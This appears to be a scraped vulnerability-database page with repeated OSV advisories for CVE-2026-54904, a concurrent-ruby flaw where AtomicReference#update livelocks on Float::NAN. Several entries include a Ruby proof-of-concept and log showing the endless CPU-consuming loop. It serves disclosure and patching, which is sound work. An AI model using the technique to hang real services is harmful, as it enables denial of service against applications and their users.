This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
| URL | Type | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "concurrent-ruby",
"resource_purl": "pkg:gem/concurrent-ruby@1.3.6",
"upstream_fixed_in": "1.3.7"
},
"package": {
"ecosystem": "Homebrew",
"name": "krane",
"purl": "pkg:brew/krane"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "RubyGems",
"key": "pkg:gem/concurrent-ruby@1.3.6",
"name": "concurrent-ruby",
"resource": "concurrent-ruby",
"strategy": "registry",
"subject_version": "1.3.6"
}
]
},
"details": "### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller\u0027s block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n true until compare_and_set(old_value = get, new_value = yield(old_value))\n new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n if old_value.kind_of? Numeric\n while true\n old = get\n\n return false unless old.kind_of? Numeric\n return false unless old == old_value\n\n result = _compare_and_set(old, new_value)\n return result if result\n end\n else\n _compare_and_set(old_value, new_value)\n end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \u0027concurrent/atomic/atomic_reference\u0027\nrequire \u0027concurrent/version\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n ref.update do |_old_value|\n attempts += 1\n 0.0\n end\n finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? \u0026\u0026 !finished \u0026\u0026 attempts \u003e 1000\n puts \u0027result=REPRODUCED busy retry loop; update did not complete\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n control_attempts += 1\n old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "BREW-krane-CVE-2026-54904",
"modified": "2026-08-13T17:01:45Z",
"published": "2026-08-13T17:01:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54904.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54904"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`",
"upstream": [
"GHSA-h8w8-99g7-qmvj",
"CVE-2026-54904"
]
}
BREW-TRAVIS-CVE-2026-54904 (GHSA-H8W8-99G7-QMVJ)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:44 – Updated: 2026-08-13 17:44 – Source websiteSummary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
- AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
- Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
- Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
end
For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
end
When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0
Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
| URL | Type | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "concurrent-ruby",
"resource_purl": "pkg:gem/concurrent-ruby@1.3.1",
"upstream_fixed_in": "1.3.7"
},
"package": {
"ecosystem": "Homebrew",
"name": "travis",
"purl": "pkg:brew/travis"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "RubyGems",
"key": "pkg:gem/concurrent-ruby@1.3.1",
"name": "concurrent-ruby",
"resource": "concurrent-ruby",
"strategy": "registry",
"subject_version": "1.3.1"
}
]
},
"details": "### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller\u0027s block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n true until compare_and_set(old_value = get, new_value = yield(old_value))\n new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n if old_value.kind_of? Numeric\n while true\n old = get\n\n return false unless old.kind_of? Numeric\n return false unless old == old_value\n\n result = _compare_and_set(old, new_value)\n return result if result\n end\n else\n _compare_and_set(old_value, new_value)\n end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \u0027concurrent/atomic/atomic_reference\u0027\nrequire \u0027concurrent/version\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n ref.update do |_old_value|\n attempts += 1\n 0.0\n end\n finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? \u0026\u0026 !finished \u0026\u0026 attempts \u003e 1000\n puts \u0027result=REPRODUCED busy retry loop; update did not complete\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n control_attempts += 1\n old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "BREW-travis-CVE-2026-54904",
"modified": "2026-08-13T17:44:53Z",
"published": "2026-08-13T17:44:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54904.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54904"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`",
"upstream": [
"GHSA-h8w8-99g7-qmvj",
"CVE-2026-54904"
]
}
BREW-UFFIZZI-CVE-2026-54904 (GHSA-H8W8-99G7-QMVJ)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:46 – Updated: 2026-08-13 17:46 – Source websiteSummary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
- AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
- Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
- Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
end
For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
end
When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0
Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
| URL | Type | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "concurrent-ruby",
"resource_purl": "pkg:gem/concurrent-ruby@1.3.5",
"upstream_fixed_in": "1.3.7"
},
"package": {
"ecosystem": "Homebrew",
"name": "uffizzi",
"purl": "pkg:brew/uffizzi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "RubyGems",
"key": "pkg:gem/concurrent-ruby@1.3.5",
"name": "concurrent-ruby",
"resource": "concurrent-ruby",
"strategy": "registry",
"subject_version": "1.3.5"
}
]
},
"details": "### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller\u0027s block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n true until compare_and_set(old_value = get, new_value = yield(old_value))\n new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n if old_value.kind_of? Numeric\n while true\n old = get\n\n return false unless old.kind_of? Numeric\n return false unless old == old_value\n\n result = _compare_and_set(old, new_value)\n return result if result\n end\n else\n _compare_and_set(old_value, new_value)\n end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \u0027concurrent/atomic/atomic_reference\u0027\nrequire \u0027concurrent/version\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n ref.update do |_old_value|\n attempts += 1\n 0.0\n end\n finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? \u0026\u0026 !finished \u0026\u0026 attempts \u003e 1000\n puts \u0027result=REPRODUCED busy retry loop; update did not complete\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n control_attempts += 1\n old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "BREW-uffizzi-CVE-2026-54904",
"modified": "2026-08-13T17:46:08Z",
"published": "2026-08-13T17:46:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
},
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54904.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54904"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`",
"upstream": [
"GHSA-h8w8-99g7-qmvj",
"CVE-2026-54904"
]
}
CLEANSTART-2026-DE16221 (CVE-2026-54171)
Vulnerability from cleanstart – Published: 2026-07-21 08:19 – Updated: 2026-09-18 11:59 – Source websiteMultiple security vulnerabilities affect the ruby-fluentd-1.18 package. These issues are resolved in later releases. See references for individual vulnerability details.
| URL | Type | ||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "ruby-fluentd-1.18"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.0-r5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the ruby-fluentd-1.18 package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-DE16221",
"modified": "2026-09-18T11:59:01.768079Z",
"published": "2026-07-21T08:19:55.189420Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-DE16221.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54171"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54297"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54522"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54905"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-54906"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-6wx8-w4f5-wwcr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-98m9-hrrm-r99r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h8w8-99g7-qmvj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wv3x-4vxv-whpp"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54171"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54297"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54522"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54905"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54906"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2026-54171, CVE-2026-54297, CVE-2026-54522, CVE-2026-54904, CVE-2026-54905, CVE-2026-54906, ghsa-6wx8-w4f5-wwcr, ghsa-98m9-hrrm-r99r, ghsa-h8w8-99g7-qmvj, ghsa-wv3x-4vxv-whpp applied in versions: 1.18.0-r4, 1.18.0-r5",
"upstream": [
"CVE-2026-54171",
"CVE-2026-54297",
"CVE-2026-54522",
"CVE-2026-54904",
"CVE-2026-54905",
"CVE-2026-54906",
"ghsa-6wx8-w4f5-wwcr",
"ghsa-98m9-hrrm-r99r",
"ghsa-h8w8-99g7-qmvj",
"ghsa-wv3x-4vxv-whpp"
],
"withdrawn": "2026-09-18T11:59:01.768079Z"
}
CLEANSTART-2026-UD48034 (GHSA-H8W8-99G7-QMVJ)
Vulnerability from cleanstart – Published: 2026-09-18 09:55 – Updated: 2026-07-08 04:44 – Source websiteghsa-h8w8-99g7-qmvj affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "logstash-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.4.3-r1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "CleanStart",
"name": "ruby-fluentd-1.18"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.0-r4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "CleanStart",
"name": "ruby-fluentd-1.19"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.2-r3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "ghsa-h8w8-99g7-qmvj affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-UD48034",
"modified": "2026-07-08T04:44:58Z",
"published": "2026-09-18T09:55:53.572452Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-UD48034.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h8w8-99g7-qmvj"
}
],
"related": [],
"schema_version": "1.7.3",
